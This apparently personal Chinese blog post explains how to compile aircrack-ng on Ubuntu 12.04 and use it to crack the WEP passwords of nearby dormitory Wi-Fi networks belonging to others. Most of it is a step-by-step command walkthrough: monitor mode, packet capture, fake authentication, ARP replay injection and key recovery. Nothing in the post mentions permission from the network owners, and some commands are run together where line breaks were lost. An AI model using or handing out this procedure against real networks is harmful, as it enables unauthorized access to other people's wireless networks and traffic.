最近《计算机网络》课程讲到密码学,又重新燃起了我对破解无线WIFI密码的热情。在宿舍可以收到好几个wifi,正好可以用来做实验。
本来破解无线密码用backtrack是最合适不过的,我也在虚拟机中玩过bt5。不过换了新笔记本后,并没有安装backtrack 5 的独立系统。用虚拟机中的BT5系统破解无线密码需要插外置的USB网卡。虽然从U盘启动backtrack 系统也很方便,不过我还没下好它的iso文件,所以只能作罢。
我想,既然backtrack是使用ubuntu 的软件源,那ubuntu中也应该有相应的软件,也就是说可以用ubuntu 来破解密码。一搜索,果然有,就是aircrack-ng。
于是打开终端输入以下命令来安装它
sudo apt-get install aircrack-ng却提示
Package aircrack-ng is not available, but is referred to by another package.This may mean that the package is missing, has been obsoleted, oris only available from another sourceHowever the following packages replace it:iw:i386 iwE: Package ‘aircrack-ng’ has no installation candidate
竟然没有这个包,难道是因为我使用的是64位的ubuntu 12.04 系统的原因?谷歌一下,发现不是,是因为某些原因aircrack-ng 已经从ubuntu 12.04的软件源中移除了,ubuntu 10.04中还有。
那怎么在ubuntu 12.04 中安装aircrack-ng 呢?可以从网上下载源码编译安装。首先安装两个扩展
sudo apt-get install build-essentialsudo apt-get install libssl-dev然后到http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz 下载最新版的aircrack-ng,解压它
tar -xvf aircrack-ng-1.1.tar.gzcd aircrack-ng-1.1gedit common.mak找到 CFLAGS ?= -g -W -Wall -Werror -O3 并把它改为CFLAGS ?= -g -W -Wall -O3保存好后,开始编译安装makesudo make install完了之后它会提示 Run ‘airodump-ng-oui-update’ as root (or with sudo) to install or update Airodump-ng OUI file (Internet connection required).于是输入sudo airodump-ng-oui-update更新好后即可。那怎么使用ubuntu 中的aircrack-ng 来破解无线密码呢?ubuntu 中 aircrack-ng 使用教程1、启动无线网卡的监控模式,在终端中输入:sudo airmon-ng start wlan0(wlan0是无线网卡的端口,可用命令 ifconfig 查看)2、查看无线AP在终端中输入:
sudo airodump-ng mon0(mon0 是启动监控模式后无线网的端口)查看有哪些采用wep加密的AP在线,然后按 ctrl+c 中止,不要关闭终端。3、抓包
打开另一个终端,输入:sudo airodump-ng -c 6 –bssid AP’s MAC -w wep mon0(-c 后面跟着的6是要破解的AP工作频道,–bissid后面跟着的AP’sMAC是要欲破解AP的MAC地址,-w后面跟着wep的是抓下来的数据包DATA保存的文件名,具体情况根据步骤2里面的在线AP更改频道和MAC地址,DATA保存的文件名可随便命名)4、与AP建立虚拟连接
再打开一个新终端,输入:sudo aireplay-ng -1 0 -a AP’s MAC -h My MAC mon0(-h后面跟着的My MAC是自己的无线网卡的MAC地址,即ifconfig命令下wlan0对应的mac地址)5、进行注入
成功建立虚拟连接后输入:sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP’s MAC -h My MAC mon0现在回头看下步骤3的终端是不是DATA在开始飞涨!(那串ff照抄就行)6、解密
收集有15000个以上的DATA之后,另开一个终端,切换到aircrack-ng-1.1目录,执行以下命令sudo aircrack-ng wep*.cap进行解密(如果没算出来的话,继续等,aircrack-ng 会在DATA每增加多15000个之后就自动再运行,直到算出密码为至,注意此处文件的名字要与步骤3里面设置的名字一样,且*号是必需的)7、收工
破解出密码后在终端中输入 sudo airmon-ng stop mon0 关闭监控模式,不然无线网卡会一直向刚刚的AP进行注入的,用ctrl+c退出或者直接关闭终端都是不行的。如果要卸载ubuntu 上的aircrack-ng,可切换到aircrack-ng-1.1 目录,执行
sudo make uninstall最后在手动删除该目录及目录下的东西即可。除非注明, 的文章均为原创,转载请注明作者和出处。
本文链接地址: